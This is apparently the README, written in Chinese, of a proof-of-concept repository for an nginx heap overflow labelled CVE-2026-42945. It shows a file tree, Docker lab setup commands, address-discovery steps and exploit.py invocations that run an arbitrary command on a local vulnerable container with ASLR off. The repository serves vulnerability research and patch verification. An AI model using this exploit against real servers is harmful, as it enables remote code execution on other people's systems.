poc-CVE-2026-42945/
├── exploit.py            — 改进版 PoC（3 种模式：--check / --probe / --exploit）
├── poc.py.orig           — 原始 depthfirst PoC（参考）
├── env/                  — 双容器 Docker 实验环境
│   ├── Dockerfile          （漏洞版本：nginx commit 98fc3bb78）
│   ├── Dockerfile.patched  （修复版本：release-1.31.0）
│   ├── docker-compose.yml  （两个服务）
│   ├── nginx.conf          （存在漏洞的 rewrite + set 配置）
│   ├── entrypoint.sh       （在 setarch -R 下运行——ASLR 关闭）
│   └── server.py           （后端桩程序）
├── discover-addresses.sh — 从运行中的容器提取 HEAP_BASE / LIBC_BASE / system() 偏移量
├── verify.sh             — 双容器验证脚本（攻击漏洞版本，确认修复版本拦截）
├── setup.sh              — 构建辅助脚本（旧版单镜像方式）
├── references.md         — 完整的漏洞机制、利用策略、缓解措施
└── README.md             — 本文件

# 构建两个容器
docker compose -f env/docker-compose.yml build

# 启动实验环境（漏洞版本=:19321，修复版本=:19421）
docker compose -f env/docker-compose.yml up -d

# 仅检测（不触发溢出）
python3 exploit.py --check --host 127.0.0.1 --port 19321

# 完整利用
python3 exploit.py --exploit --host 127.0.0.1 --port 19321 \
    --cmd 'echo pwned > /tmp/rift'

docker exec nginx-rift-vuln cat /tmp/rift

# 双容器验证（攻击漏洞版本 + 确认修复版本拦截）
./verify.sh

# 关闭实验环境
docker compose -f env/docker-compose.yml down

docker compose -f env/docker-compose.yml up -d nginx-vuln
./discover-addresses.sh
# 将值复制到 exploit.py 调用中